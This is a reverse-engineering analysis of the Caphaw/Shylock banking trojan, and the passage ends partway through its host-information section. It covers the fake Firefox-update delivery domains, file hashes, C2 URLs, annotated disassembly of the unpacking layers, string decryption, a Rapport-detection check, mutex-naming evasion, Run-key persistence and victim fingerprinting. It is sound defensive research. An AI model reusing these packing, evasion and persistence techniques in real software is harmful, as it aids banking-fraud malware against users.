By

In this essay we will perform an in-depth analysis (from the unpacking to explorer.exe code injection) of the most recent version of Caphaw/Shylock, a banking malware that, at the time of discovery, was ranked as FUD (Fully UnDetected) by VirusTotal. The article will cover the following topics:

Analysis of the packer and related unpacking.

Reverse engineering and dropper’s functional analysis.

Reverse engineering and functional analysis of explorer.exe injected code.

Overview of the associated botnet configuration and webinjects.

Intelligence about the sample and involved domains.

How we’ve found it

Before starting with the sample’s direct analysis, let’s talk about how the first binary was discovered in order to add some initial intelligence. While looking for Blackhole EK on urlquery we came across the following entry: http://urlquery.net/search.php?q=sunnyitaliancost.com



As you can see the URL has the following structure: sunnyitaliancost.com/ngen/controlling/*.php – after a quick analysis, it emerged that the Exploit Kit was serving a low detection ZeroAccess sample. The most interesting thing happened when we removed the path /ngen/controlling/ in order to get the full domain, sunnyitaliancost.com:

A fake Firefox critical update page popped up and served as a download vector towards another executable named “FirefoxUpdate.exe” that appeared to be completed undetected on VirusTotal. By gathering information about the IP of the involved domain, we were able to find out that the following domains were also involved in the same campaign:

fasttrackrowlingss.biz fieldsocrossing.biz midjunelists.biz fasttrackrowlingss.biz rotatingads.biz browseratrisk.com rockmonstocks.net doorwindowsen.com domenicossos.net rocktenkea.com felixxatinternal.com rcokmanshampoo.com domenicossos.com refreshingstart.net londontreasures.net rocktenkea.com domaintenso.com internalpleasures.com rockmonstocks.net sterchelloness.com sterchelloness.net prismsecretsrevealed.com sterchelloness.org felixooriums.org browserrequiresupdate.com

Additional research revealed that all domains used Blackhole with /ngen/controlling path and the following variations of FirefoxUpdate.exe:

domain.*/ie/IEUpdate.exe domain.*/chrome/ChromeUpdate.exe

Authors

Evilcry (@Blackmond) and Cthulhu(@0s0urce).

PE overview

Let’s start with a general inspection of FirefoxUpdate.exe binary.

SHA256: 35ccf0e051fb0ff61e52ff4130eb38521f954f90ad9c97be59af1e7901974557

SHA1: 8d6d3522daaf4bba74153f9a738d776b4a7d1d6d

MD5: dcc876357354acaf2b61ee3e839154ad

File size: 292.0 KB ( 299008 bytes )

File type: Win32 EXE

Detection ratio: 0 / 46

Analysis date: 2013-08-25 10:48:11 UTC

The executable shows the following Section Header (PE inspection done with Profiler):

We have a considerable number of Sections, some of them with “weird” names like “E1″,”E2″,”B/0” – please note that we can use the following names to identify other similar samples. As marked in the screenshot, .rdata section contains the ImportTable. According to the Import Table content shown below:

We have some “usually uncommon” imported module, which is WinSCard.dll and its related function SCardAccessStartedEvent, further observations on a larger set of similar samples revealed that the majority of Caphaw variants related to this campaign are using this import entry. Obviously this peculiarity cannot be considered a key factor in the identification of this specific threat, but it can help to identify a specific subset.

Finally let’s take a look at the entropy plot of the whole binary file:

Here we have high entropy levels, this implies that the executable could be packed.

The Analysis

We can start the reversing of the sample with a static analysis approach, by disassembling and watching code starting at the EntryPoint:

.text:004044B0 sub esp, 150h .text:004044B6 push edi .text:004044B7 lea eax, [esp+154h+StartupInfo] .text:004044BB push eax ; lpStartupInfo .text:004044BC call ds:GetStartupInfoA .text:004044C2 mov edi, ds:GetProcessHeap .text:004044C8 call edi ; GetProcessHeap .text:004044CA test eax, eax .text:004044CC jz Exit_Process .text:004044D2 push esi .text:004044D3 push 1000h ; dwBytes .text:004044D8 push 8 ; dwFlags .text:004044DA push eax ; hHeap .text:004044DB call ds:HeapAlloc .text:004044E1 call ds:GetCommandLineA .text:004044E7 mov esi, eax .text:004044E9 mov eax, [esp+158h+StartupInfo.cb] .text:004044ED test eax, eax .text:004044EF jnz short getCurrentDirectory

This piece of code should be pretty easy to understand, if GetProcessHeap (the function retrieves a handle to the default heap of the calling process) fails, execution terminates and no infection takes place, otherwise the command-line string is retrieved together with the current directory.

.text:004045AE push 0 .text:004045B0 call ds:GetModuleHandleA .text:004045B6 mov ecx, [eax+3Ch] .text:004045B9 lea edx, [esp+158h+flOldProtect] .text:004045BD push edx ; lpflOldProtect .text:004045BE add ecx, eax .text:004045C0 mov ecx, [ecx+50h] .text:004045C3 push PAGE_EXECUTE_READWRITE ; flNewProtect .text:004045C5 push ecx ; dwSize .text:004045C6 push eax ; lpAddress .text:004045C7 call ds:VirtualProtect .. .text:004045DF push 0 .text:004045E1 push 0 .text:004045E3 push 0 .text:004045E5 call sub_4014D0

The above piece of code uses GetModuleHandleA to get the base address of the calling process (the malicious process itself), later on it changes the permission map of the committed memory via VirtualProtect, in our case the permission is PAGE_EXECUTE_READWRITE, this is a typical behaviour of packed code: the malware needs to decrypt (WRITE) blocks of encrypted code before executing them. Soon after we can inspect the call 004014d0.

.text:004014D0 push ebp .text:004014D1 mov ebp, esp .. .text:004014DB push edi .text:004014DC push 0 ; lpModuleName .text:004014DE call ds:GetModuleHandleA ;Get executable base address .text:004014E4 mov esi, ds:GetTickCount .text:004014EA mov ebx, eax .text:004014EE test al, 0C8h .text:004014F0 jnz short get_processversion .. .text:00401500 get_processversion: ; CODE XREF: sub_4014D0+20j .text:00401500 mov esi, [ebx+3Ch] .text:00401503 push 0 ; ProcessId .text:00401505 add esi, ebx .text:00401507 call ds:GetProcessVersion .text:0040150D test eax, eax .text:0040150F jnz short next_step .text:00401511 push eax ; uExitCode .text:00401512 call ds:ExitProcess .text:00401518 next_step: .. .text:00401534 push ebx ; FirefoxUpdate Base Address .text:00401535 fstp [ebp+var_10] .text:00401538 call Get_PE_section_address .. .text:00401549 jnz short previous_section ; eax - 0x28 (previous section) .text:00401586 previous_section: .text:00401586 add eax, 0FFFFFFD8h ; eax - 0x28 (previous section)

The scope of the previous snippet of code is to locate each PE Section starting at .rsrc (8th section) and moving to the previous ones by adding – 0x28. Let’s now check the next block of code:

.text:004015B1 mov eax, [esi+50h] ; Size of Image .text:004015B4 push 40h ; PAGE_EXECUTE_READWRITE .text:004015B6 push 1000h ; MEM_COMMIT .text:004015BB push eax ; dwSize .text:004015BC push 0 ; lpAddress .text:004015BE call ds:VirtualAlloc .. .text:004015C4 mov edx, [esi+50h] .text:004015C7 lea ecx, [ebp+flOldProtect] .text:004015CA push ecx ; lpflOldProtect .text:004015CB push 40h ; flNewProtect .text:004015CD push edx ; dwSize .text:004015CE push ebx ; lpAddress .text:004015CF mov [ebp+arg_0], eax .text:004015D2 call edi ; VirtualProtect .text:004015D4 fld ds:dbl_40B9A8 .text:004015DA mov ecx, [esi+50h] ; Size of Image .text:004015DD mov edi, [ebp+8] ; pointer to the freshly allocated clock of memory .text:004015E0 mov eax, ecx .text:004015E2 shr ecx, 2 .text:004015E5 mov esi, ebx .text:004015E7 rep movsd ; Copy PE /itself/ in allocated block of memory .. .text:00401605 push eax ; PE allocated in memory .text:00401606 call sub_401440

This part basically allocates a block of memory of the same size of the current running PE image (esi+50h == Size of Image in the PE). The next action is to change the protection (PAGE_EXECUTE_READWRITE) of the freshly allocated chunk and copy inside it the entire PE image. Let’s now inspect call 00401440:

.text:00401440 push esi .text:00401441 mov esi, [esp+8] .text:00401445 mov eax, [esi+3Ch] .text:00401448 mov ecx, [eax+esi+34h] ; PE .. .text:00401455 mov ecx, [eax+0A0h] ; relocation directory .text:0040145B test ecx, ecx .text:0040145D jz short loc_4014C2 .text:0040145F push ebx .text:00401460 mov ebx, [eax+0A4h] ; relocation directory size .text:00401466 add ecx, esi ; new allocated pe + relocation directory .text:00401468 add ebx, ecx ; add relocation directory size .text:0040146A cmp ecx, ebx .text:0040146C mov [esp+10h], ebx .text:00401470 jnb short loc_4014C1 .text:00401472 push ebp .text:00401473 .text:00401473 loc_401473: .text:00401473 mov eax, [ecx+4] ; PE address of the new allocated PE .text:00401476 test eax, eax .text:00401478 jz short loc_4014B9 .text:0040147A add eax, 0FFFFFFF8h .text:0040147D shr eax, 1 .text:0040147F test eax, eax .text:00401481 lea edx, [ecx+8] .text:00401484 jbe short loc_4014B9 .text:00401486 mov ebx, eax .text:00401488 .text:00401488 loc_401488: .text:00401488 xor eax, eax .text:0040148A mov ax, [edx] ; edx points to the beginning of the relocation directory .text:0040148D mov ebp, eax .text:0040148F and ebp, 0F000h .text:00401495 cmp ebp, 3000h .text:0040149B jnz short loc_4014AF .text:0040149D mov ebp, [ecx] .text:0040149F and eax, 0FFFh .text:004014A4 add eax, ebp .text:004014A6 mov ebp, [eax+esi] ; next imported function .text:004014A9 add eax, esi .text:004014AB add ebp, edi .text:004014AD mov [eax], ebp ; new fixed address of the import placed in the new executable

This piece of code fixes the imported APIs addresses in order to correctly call each function when the execution flow jumps into the “new” PE. In the nearby call 00401440 we meet our first “call to the next layer”:

.text:0040161B add eax, esi ; Get entrypoint in PE located in memory .text:0040161D call eax ; Next layer

Let’s see what happens inside the new layer, we will talk about the most significant portions of code.

00D614D0 55 PUSH EBP 00D614D1 8BEC MOV EBP,ESP 00D614D3 81EC 4C010000 SUB ESP,14C .. 00D614DC 6A 00 PUSH 0 00D614DE FF15 7490D600 CALL DWORD PTR DS:[0D69074] ; GetModuleHandleA 00D614E4 8B35 4490D600 MOV ESI,DWORD PTR DS:[0D69044] 00D614EA 8BD8 MOV EBX,EAX 00D61500 8B73 3C MOV ESI,DWORD PTR DS:[EBX+3C] ; Get PE of the main dropper .. 00D61518 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8] ; Base address of the new PE .. 00D61631 52 PUSH EDX 00D61632 C745 FC 0001000 MOV DWORD PTR SS:[EBP-4],100 00D61639 FF15 3090D600 CALL DWORD PTR DS:[0D69030] ; GetComputerNameA .. 00D6165D 68 54D0D600 PUSH 0D6D054 ; ASCII "kernel32" 00D61662 FF15 7490D600 CALL DWORD PTR DS:[0D69074] ; GetModuleHandleA 00D61668 8B4E 50 MOV ECX,DWORD PTR DS:[ESI+50] ; Size of Image 00D6166B 6A 40 PUSH 40 00D6166D 68 00100000 PUSH 1000 00D61672 51 PUSH ECX ; Size 00D61673 53 PUSH EBX ; 0040000 (PE base address) 00D61674 8945 DC MOV DWORD PTR SS:[EBP-24],EAX 00D61677 FF15 3C90D600 CALL DWORD PTR DS:[0D6903C] ; VirtualAlloc 00D6167D 8B46 50 MOV EAX,DWORD PTR DS:[ESI+50] .. 00D616F1 8D0485 0870E700 LEA EAX,[EAX*4+0E77008] ; Pointer to a block of data in EAX 00D616F8 C1E9 02 SHR ECX,2 00D616FB 8945 E4 MOV DWORD PTR SS:[EBP-1C],EAX 00D616FE 8BF0 MOV ESI,EAX 00D61700 8BFB MOV EDI,EBX 00D61702 F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI] ; Base address now contains a block of DATA 00D61704 8BCA MOV ECX,EDX 00D61706 83E1 03 AND ECX,00000003 00D61709 F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI] 00D6170B 8B4D FC MOV ECX,DWORD PTR SS:[EBP-4] 00D6170E 51 PUSH ECX 00D6170F 50 PUSH EAX 00D61710 50 PUSH EAX 00D61711 8945 F4 MOV DWORD PTR SS:[EBP-0C],EAX 00D61714 E8 E7F8FFFF CALL 00D61000

VirtualAlloc allocates a new block of memory with PAGE_EXECUTE_READWRITE permissions, which will be used to host some portion of code to be executed, then a rep movs instruction copies a new block of code. Here’s what happens in synthesis inside call 00D61000:

00D61035 66:3306 XOR AX,WORD PTR DS:[ESI] ; XOR based data decryption 00D61038 83C6 02 ADD ESI,2 00D6103B 4B DEC EBX 00D6103C 66:894437 FE MOV WORD PTR DS:[ESI+EDI-2],AX ; copy decrypted data 00D61041 ^ 75 ED JNE SHORT 00D61030 00D61043 5F POP EDI 00D61044 5B POP EBX 00D61045 5E POP ESI 00D61046 C3 RETN

A block of data is decrypted by using a simple XOR, by inspecting the destination buffer we can observe the following memory layout:

A new executable has been decrypted, you can also see that PE seems packed with UPX. Immediately after call 00D61000 the freshly decrypted PE will be copied in the corresponding 0040000 Base Address, in other words the previous PE as been exchanged with this “new” one.

00D617D6 E8 35F9FFFF CALL 00D61110 ; Build a minimal IAT for UPX executable 00D617DB 8B53 3C MOV EDX,DWORD PTR DS:[EBX+3C] ; New UPX executable PE 00D617DE 8B4413 28 MOV EAX,DWORD PTR DS:[EDX+EBX+28] ; AddressOfEntryPoint = baseaddress+PE+0x28 00D617E2 03C3 ADD EAX,EBX 00D617E4 83C4 04 ADD ESP,4 00D617E7 8945 F0 MOV DWORD PTR SS:[EBP-10],EAX 00D617EA FFD0 CALL EAX ; Jump to the UPX executable

Call EAX confirms that we’ve reached the second layer, EAX will contain the EntryPoint address of the UPX executable. Let’s see what happens in the second block of code:

0044C0B0 8A06 MOV AL,BYTE PTR DS:[ESI] 0044C0B2 46 INC ESI 0044C0B3 8807 MOV BYTE PTR DS:[EDI],AL 0044C0B5 47 INC EDI 0044C0B6 01DB ADD EBX,EBX 0044C0B8 75 07 JNE SHORT 0044C0C1 0044C0BA 8B1E MOV EBX,DWORD PTR DS:[ESI] 0044C0BC 83EE FC SUB ESI,-4 0044C0BF 11DB ADC EBX,EBX 0044C0C1 ^ 72 ED JB SHORT 0044C0B0

This part transfers a block of code pointed by ESI into the location pointed by EDI (that initially points to 00401000), once the code has been transferred it will be decrypted. After decryption we have the following routine:

0044C172 8A07 MOV AL,BYTE PTR DS:[EDI] ; Move the one byte pointed by EDI in AL 0044C174 47 INC EDI ; Next byte 0044C175 2C E8 SUB AL,0E8 ; Byte - 0xE8 0044C177 3C 01 CMP AL,1 ; Result is 1 ? 0044C179 ^ 77 F7 JA SHORT 0044C172 ; Next byte 0044C17B 803F 00 CMP BYTE PTR DS:[EDI],0 ; Is byte after equal to 0 ? 0044C17E ^ 75 F2 JNE SHORT 0044C172 0044C180 8B07 MOV EAX,DWORD PTR DS:[EDI] ; Move DWORD pointed by EDI in EAX 0044C182 8A5F 04 MOV BL,BYTE PTR DS:[EDI+4] ; Next DWORD 0044C185 66:C1E8 08 SHR AX,8 0044C189 C1C0 10 ROL EAX,10 0044C18C 86C4 XCHG AH,AL 0044C18E 29F8 SUB EAX,EDI 0044C190 80EB E8 SUB BL,0E8 0044C193 01F0 ADD EAX,ESI 0044C195 8907 MOV DWORD PTR DS:[EDI],EAX ; Substitute fixed address

EDI initially points to 00401000 (where freshly decrypted code is placed), the routine takes one byte (we are dealing with code, so we need to consider these bytes as Opcodes) at a time and subtracts 0xE8 to it. This is a simple way to check if the opcode pointed by EDI is a Call. When the code meets a call, it takes the adjacent DWORD (which is the address pointed by the call) and places it in EAX (instruction 0044C180) then it applies a fix and finally, at instruction 0044C195, replaces the old address pointed by the call with the new one. The picture below shows the code before the fix:

You can clearly see an incoherent address (8340101A), here’s the situation after the fix:

Looks definitely coherent now.

After the call fix we land here:

0044C21C 39C4 CMP ESP,EAX 0044C21E ^ 75 FA JNE SHORT 0044C21A 0044C220 83EC 80 SUB ESP,-80 0044C223 ^ E9 D84DFBFF JMP 00401000

Last instruction represent the jump to the third layer. After landing into the third layer the first important operation is shown below:

004011B9 FFD0 CALL EAX ; VirtualAlloc 004011BB 8945 F8 MOV DWORD PTR SS:[EBP-8],EAX 004011BE 85C0 TEST EAX,EAX 004011C0 74 5B JZ SHORT 0040121D .. 004011D0 4D DEC EBP 004011D1 FC CLD 004011D2 FC CLD 004011D3 F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI] ; Copy a new portion of data into the new block of memory

This is the classical scheme we have already seen: VirtualAlloc builds a new block of memory and finally a block of data is copied inside it, by taking a look at this data we discover that there is (again!) a new executable:



Section names clearly indicates that this PE is different from the others (like the UPX) previously seen. Finally we land here:

00401077 8B40 10 MOV EAX,DWORD PTR DS:[EAX+10] 0040107A 03C6 ADD EAX,ESI ;EAX points to the new EntryPoint 0040107C FFD0 CALL EAX

Exploring the core

With this final call we finally reach the unpacked code, as is shown below:

00EF615D 55 PUSH EBP 00EF615E 8BEC MOV EBP,ESP 00EF6160 8B45 0C MOV EAX,DWORD PTR SS:[EBP+0C] 00EF6163 83E8 00 SUB EAX,0 00EF6166 74 15 JE SHORT 00EF617D 00EF6168 48 DEC EAX 00EF6169 74 0D JE SHORT 00EF6178 00EF616B 48 DEC EAX 00EF616C 74 0F JE SHORT 00EF617D 00EF616E 48 DEC EAX 00EF616F 74 0C JE SHORT 00EF617D 00EF6171 E8 C1FAFFFF CALL 00EF5C37 00EF6176 EB 05 JMP SHORT 00EF617D 00EF6178 E8 19F5FFFF CALL 00EF5696 00EF617D 33C0 XOR EAX,EAX 00EF617F 40 INC EAX 00EF6180 5D POP EBP 00EF6181 C2 0C00 RETN 0C

The full dropper/injector code is concentrated into the call 00EF5C37. Before starting with dynamic analysis (debugging approach) it’s important to specify that we will deal with a lot of redundant pieces of code that won’t be reported here for obvious reasons.

00EF5C37 55 PUSH EBP 00EF5C38 8BEC MOV EBP,ESP 00EF5C3A 83E4 F8 AND ESP,FFFFFFF8 00EF5C3D 81EC DC010000 SUB ESP,1DC 00EF5C43 53 PUSH EBX 00EF5C44 56 PUSH ESI 00EF5C45 57 PUSH EDI 00EF5C46 8D7424 18 LEA ESI,[ESP+18] 00EF5C4A E8 FEFEFDFF CALL 00ED5B4D ; Allocate Heap .. 00EF5C5C E8 B237FEFF CALL 00ED9413 ; GetCommandLineA 00EF5C61 8BF0 MOV ESI,EAX ; ASCII "c:\FirefoxUpdate.exe"

As you can see we have marked call 00ED9413 as “GetCommandLineA”, this happens because Caphaw/Shylock does not call directly the required API but uses the following schema:

00ED9413 56 PUSH ESI 00ED9414 68 2E1D6AC6 PUSH C66A1D2E 00ED9419 E8 8AECFFFF CALL 00ED80A8 ; retrieve module address 00ED941E 8BF0 MOV ESI,EAX 00ED9420 E8 DFECFFFF CALL 00ED8104 ; retrieve API address 00ED9425 59 POP ECX 00ED9426 5E POP ESI 00ED9427 FFE0 JMP EAX ; GetCommandLineA

Now let’s see another common function (call 00EEBC31) widely used to decrypt strings.

00EEBC96 E8 C1BFFEFF CALL 00ED7C5C ;RtlAllocateHeap 00EEBC9B 59 POP ECX 00EEBC9C 59 POP ECX 00EEBC9D 8945 F8 MOV DWORD PTR SS:[EBP-8],EAX 00EEBCA0 85C0 TEST EAX,EAX 00EEBCA2 74 37 JE SHORT 00EEBCDB 00EEBCA4 8365 F4 00 AND DWORD PTR SS:[EBP-0C],00000000 00EEBCA8 8975 EC MOV DWORD PTR SS:[EBP-14],ESI 00EEBCAB 8B7D F8 MOV EDI,DWORD PTR SS:[EBP-8] 00EEBCAE 8B75 EC MOV ESI,DWORD PTR SS:[EBP-14] 00EEBCB1 8B4D F0 MOV ECX,DWORD PTR SS:[EBP-10] 00EEBCB4 FC CLD 00EEBCB5 F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI] ;Copy the encrypted string in the recently allocated heap 00EEBCB7 897D F4 MOV DWORD PTR SS:[EBP-0C],EDI 00EEBCBA 6A 01 PUSH 1 00EEBCBC FF33 PUSH DWORD PTR DS:[EBX] 00EEBCBE 8BC8 MOV ECX,EAX 00EEBCC0 E8 7B19FFFF CALL 00EDD640 ;Decrypt string 00EEBCC5 59 POP ECX

Let’s see how 00EDD640 works:

00EDD640 55 PUSH EBP 00EDD641 8BEC MOV EBP,ESP 00EDD643 85C9 TEST ECX,ECX 00EDD645 74 3A JE SHORT 00EDD681 00EDD647 56 PUSH ESI 00EDD648 8A11 MOV DL,BYTE PTR DS:[ECX] ;Encrypted byte pointed by ECX in AL 00EDD64A 8AC2 MOV AL,DL 00EDD64C 3245 08 XOR AL,BYTE PTR SS:[EBP+8] ;XOR Encrypted byte with a key byte pointed by EBP+8 00EDD64F 837D 0C 01 CMP DWORD PTR SS:[EBP+0C],1 00EDD653 8801 MOV BYTE PTR DS:[ECX],AL 00EDD655 75 04 JNE SHORT 00EDD65B 00EDD657 84C0 TEST AL,AL 00EDD659 EB 08 JMP SHORT 00EDD663 00EDD65B 837D 0C 00 CMP DWORD PTR SS:[EBP+0C],0 00EDD65F 75 04 JNE SHORT 00EDD665 00EDD661 84D2 TEST DL,DL 00EDD663 74 1B JE SHORT 00EDD680 00EDD665 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8] 00EDD668 69C0 4D030000 IMUL EAX,EAX,34D 00EDD66E 05 41020000 ADD EAX,241 00EDD673 33D2 XOR EDX,EDX 00EDD675 83CE FF OR ESI,FFFFFFFF 00EDD678 F7F6 DIV ESI 00EDD67A 41 INC ECX 00EDD67B 8955 08 MOV DWORD PTR SS:[EBP+8],EDX 00EDD67E ^ EB C8 JMP SHORT 00EDD648 ;Decrypt next byte

Finally, the encrypted string placed in the allocated piece of heap will be replaced by the decrypted one. Back to the main (inside the Call 00EF5C37), whe have ‘ -test’ as decrypted string. The stages of infection are marked by a series of strings, the first one we meet is:

00EF5CF7 50 PUSH EAX 00EF5CF8 B8 48ADEB00 MOV EAX,0EBAD48 00EF5CFD E8 2F5FFFFF CALL 00EEBC31 ; "HSE::Step 1 START VERSION %s" 00EF5D02 8B00 MOV EAX,DWORD PTR DS:[EAX] 00EF5D04 C70424 38ADEB00 MOV DWORD PTR SS:[ESP],0EBAD38 ; ASCII "1.7.11.12850"

that, once decrypted, becomes: HSE::Step 1 START VERSION 1.7.11.12850.

00EF5D2A 68 CC010000 PUSH 1CC 00EF5D2F E8 A526FEFF CALL 00ED83D9 ; Allocate Heap 00EF5D34 59 POP ECX 00EF5D35 85C0 TEST EAX,EAX 00EF5D37 74 08 JE SHORT 00EF5D41 00EF5D39 50 PUSH EAX ; Pointer to the allocated heap 00EF5D3A E8 684CFFFF CALL 00EEA9A7

Call 00EEA9A7 contains the features that characterise the HSE:: Step 1 phase, we will see a synthesis of these operations.

A security descriptor is initialised via InitializeSecurityDescriptor and consequently we have:

SetSecurityDescriptorDacl with the following arguments Arg1 = 0F7F77C Arg2 = 1 Arg3 = 0 Arg4 = 0

The second parameter is set to TRUE, the function sets the SE_DACL_PRESENT flag in the SECURITY_DESCRIPTOR_CONTROL structure and uses the values in the pDacl and bDaclDefaulted parameters. Third parameter is pDacl, this parameter is NULL, a NULL DACL is assigned to the security descriptor, which allows all access to the object.

Immediately after we have a call to GetVersionExA, in order to get the OS version of the victim. Here’s a quick summary of the information gathered:

GetEnvironmentVariableA -> with argument SYSTEMDRIVE which returns the current System Drive (C: in our case). Call GetComputerNameA -> Retrieves the name of the local computer Call GetUsernameA -> Retrieves the name of the user associated with the current thread. Call LookupAccountNameA -> The LookupAccountName function accepts the name of a system and an account as input. It retrieves a security identifier (SID) for the account and the name of the domain on which the account was found.

This information will be used to build the string that will be sent to the Command&Control server. Another important piece is given by the MD5 hash of data+ComputerName, which in our case is:

571C8ECED4FAF69E4A38507B4417257B

Caphaw/Shylock implements also a quite trivial check (carried out via Process enumeration via CreateToolhelp32Snapshot) for the presence of Trusteer’s Rapport product. Immediately after Rapport check we can see the decryption of a list of strings:

_MTX_VNC _MTX_PLUGINER _EVT_AVI _EVT_VNC _EVT_VNC_INJ _EVT_BACK _EVT_BACK_INJ _EVT_START _EVT_TERMPLUGINER _EVT_SHUTDOWN _EVT_SHUTDOWN_OK _EVT_UNINSTALL _EVT_COOKIES_GET _EVT_COOKIES_CLEAR _EVT_COOKIES_CLEAR2 _EVT_COOKIES_GET_CLEAR _EVT_SOLS_GET _EVT_SOLS_CLEAR _EVT_SOLS_GET_CLEAR

_EVT_ clearly suggests us the term Event, these strings will be indeed used as name parameter for CreateEvent function. Once the strings are decrypted we’ll get something like this:

We have MD5(previously computed)_EVT_*, as we have seen we also have _MTX_ string that clearly indicates that it will be used as a name for a Mutex. The usage of an infection dependent value (our MD5 which is computed by using the Computer Name) allows the trojan to bypass some easy detection (a static event name or mutex could became a good Indicator of Compromise), especially in this case were the string MD5_EVT_* is encrypted as shown in the following image:

Finally we have the following self explaining piece of code applied to each event:

00EEB4AC FF75 F4 PUSH DWORD PTR SS:[EBP-0C] ; ASCII "5nwfKpA{1mHQ`lcRE =xY52KG-(I6t%bNLs9f$+0~'*)_ZS8?4"{@w3&Rq>HV[anWlDPQJ;A7zXo1|cTB`!.,}FOur^mChve]:y/dUkpg<Mj#iE=xY52KG" 00EEB4AF E8 47CBFFFF CALL 00EE7FFB ;CreateEventA with the encrypted event string above

Here it ends the long Call 00EEA9A7 and we are ready to enter in the second stage of the trojan as we can infer by the string HSE::Step 2 (FIREFOXUPDATE.EXE:1312) where FIREFOXUPDATE.EXE is the malicious executable name and 1312 the PID. This phase does not include substantial operations, except for the creation of an executable name: “ipconfig.exe”.

00EF5DF8 E8 345EFFFF CALL 00EEBC31 ; HSE::Step 3 Guid=%s 00EF5DFD 8B00 MOV EAX,DWORD PTR DS:[EAX] 00EF5DFF 59 POP ECX 00EF5E00 56 PUSH ESI 00EF5E01 50 PUSH EAX 00EF5E02 8D7424 18 LEA ESI,[ESP+18] 00EF5E06 E8 42FDFDFF CALL 00ED5B4D 00EF5E0B E8 0F02FEFF CALL 00ED601F ; HSE::Step 3 Guid=ipconfig.exe

We land quickly to the Step 3 identified by the string HSE::Step 3 Guid=ipconfig.exe, where Guid is equal to the previously decrypted executable name. Additionally we have the following core operations:

00EF5E62 E8 3E2DFFFF CALL 00EE8BA5 ; CreateMutex with previously computed MD5 00EF5E67 85C0 TEST EAX,EAX 00EF5E69 0F84 D6020000 JE 00EF6145 00EF5E6F 8D4424 58 LEA EAX,[ESP+58] 00EF5E73 50 PUSH EAX 00EF5E74 E8 96ECFDFF CALL 00ED4B0F ; WSAStartup

We have now a mutex named 571C8ECED4FAF69E4A38507B4417257B571C8571C8ECE and a call to WSAStartup which initiates the use of Winsock DLL, this means that soon we will deal with communication between the client (our malware) and the Command and Control server.

00EF5E8C E8 A05DFFFF CALL 00EEBC31 ; HSE::Step 4 00EF5E91 59 POP ECX 00EF5E92 8D7424 10 LEA ESI,[ESP+10] 00EF5E96 E8 CDFCFDFF CALL 00ED5B68 00EF5E9B 8D7C24 10 LEA EDI,[ESP+10] 00EF5E9F E8 913AFFFF CALL 00EE9935 ; Look for ipconfig.exe in CurrentVersion\Run

HSE::Step 4 is characterised mainly by the call 00EE9935 which is reported below in our usual synthetic language:

RegOpenKeyA('Software\Microsoft\Windows\CurrentVersion\Run') RegQueryValueExA with the following arguments hKey = [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run] Name = "ipconfig.exe" RegCloseKey()

Executables listed in Software\Microsoft\Windows\CurrentVersion\Run will be executed during system’s startup, this is the most common way to grant persistence on the system. In our specific case the trojan checks if there is already an entry named “ipconfig.exe”.

00EF5ECE E8 5E5DFFFF CALL 00EEBC31 ;"HSE::Step 5 (It's the first starting)." 00EF5ED3 59 POP ECX 00EF5ED4 8D7424 10 LEA ESI,[ESP+10] 00EF5ED8 E8 8BFCFDFF CALL 00ED5B68 ; nothing 00EF5EDD 68 74030000 PUSH 374 00EF5EE2 E8 F224FEFF CALL 00ED83D9 ; allocate heap 00EF5EE7 59 POP ECX 00EF5EE8 85C0 TEST EAX,EAX 00EF5EEA 74 0C JE SHORT 00EF5EF8 00EF5EEC 57 PUSH EDI 00EF5EED 8BC8 MOV ECX,EAX 00EF5EEF E8 E7E9FEFF CALL 00EE48DB ; Decrypt strings and gather victim's information

Despite previous Steps, the 5th “HSE::Step 5 (It’s the first starting).“, performs some very interesting actions located into call 00EE48DB.This call can be divided in two main sub-functionalities:

Decrypt bot dependent strings.

Victim information gathering.

At the begin of this call we have some very interesting string, decrypted on-the-fly:

Decrypt string: ‘ net2 ‘ -> The name of the botnet .

‘ -> The . Decrypt string: “ 2013.08.23 12:55:38 ” -> This is the build time .

” -> This is the . Decrypt string: “/files/hidden7770777.jpg” -> This is the httpinject configuration.

The following URL strings are also decrypted:

“https://thepohzi.su/ping.html”

“https://tohk5ja.cc/ping.html”

“https://oogagh.su/ping.html”

“https://wsysinfonet.su/ping.html”

“https://statinfo.cc/ping.html”

Now let’s take a look at the victim information gathering functionalities.

System memory information

00EEC8C1 50 PUSH EAX 00EEC8C2 E8 9433FFFF CALL 00EDFC5B ; Call GlobalMemoryStatusEx 00EEC8C7 59 POP ECX .. 00EEC8CC 50 PUSH EAX 00EEC8CD B8 D89CEB00 MOV EAX,0EB9CD8 ; decrypt RAM= 00EEC8D2 E8 5AF3FFFF CALL 00EEBC31 00EEC8D7 59 POP ECX

GlobalMemoryStatusEx retrieves information about the system’s current usage of both physical and virtual memory, these details goes into RAM= string.

System hardware information

00EF09F1 FF75 FC PUSH DWORD PTR SS:[EBP-4] 00EF09F4 E8 6EC2FCFF CALL 00EBCC67 ; get ProcessorNameString 00EF09F9 5B POP EBX

Hardware information is taken via registry key as follows:

Decrypt string: ProcessorNameString Decrypt string: "HARDWARE\DESCRIPTION\System\CentralProcessor\0" RegOpenKeyA("HARDWARE\DESCRIPTION\System\CentralProcessor\0") RegQueryValueExA with parameters: hKey = [HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0] Name = "ProcessorNameString" 00EE081E 895D F8 MOV DWORD PTR SS:[EBP-8],EBX 00EE0821 E8 0BB40000 CALL 00EEBC31 ; Decrypt string "~MHz" 00EE0826 8B30 MOV ESI,DWORD PTR DS:[EAX] .. 00EE087C 8BC6 MOV EAX,ESI 00EE087E E8 9C57FFFF CALL 00ED601F ; 2492 MHz 00EE0883 83C4 0C ADD ESP,0C

Finally the following string is assembled:

CPU= Intel(R) Core(TM) i5-3210M CPU @ 2.50GHz 2492 MHz RAM=572Mb

Windows information

Via SOFTWARE\Microsoft\Windows NT\CurrentVersion registry query Caphaw collects victim’s data as follows:

00EE3F27 50 PUSH EAX 00EE3F28 E8 45CC0000 CALL 00EF0B72 ; Get ProductId 00EE3F2D 83C4 14 ADD ESP,14 RegOpenKeyExA("SOFTWARE\Microsoft\Windows NT\CurrentVersion") RegQueryValueExA hKey = [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion] Name = "ProductId"

